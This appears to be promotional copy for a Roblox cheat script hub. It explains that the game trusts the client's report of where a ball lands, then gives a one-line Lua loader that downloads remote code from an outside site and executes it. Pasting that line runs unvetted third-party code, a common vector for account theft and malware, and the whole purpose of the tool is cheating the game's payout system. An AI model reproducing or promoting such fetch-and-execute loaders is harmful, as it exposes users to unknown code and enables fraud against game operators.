The ball, its physics and the bin detection all run on your machine -- the client reports where it landed and the server pays that. Everything here is built on top of that one fact.
loadstring(game:HttpGet("https://rvhub.wtf/loader.lua"))()
Every label matches what you'll see in-game, including which parts the server can still refuse.
The limits are worth knowing before you assume something's broken.
One key, one loader, every module above.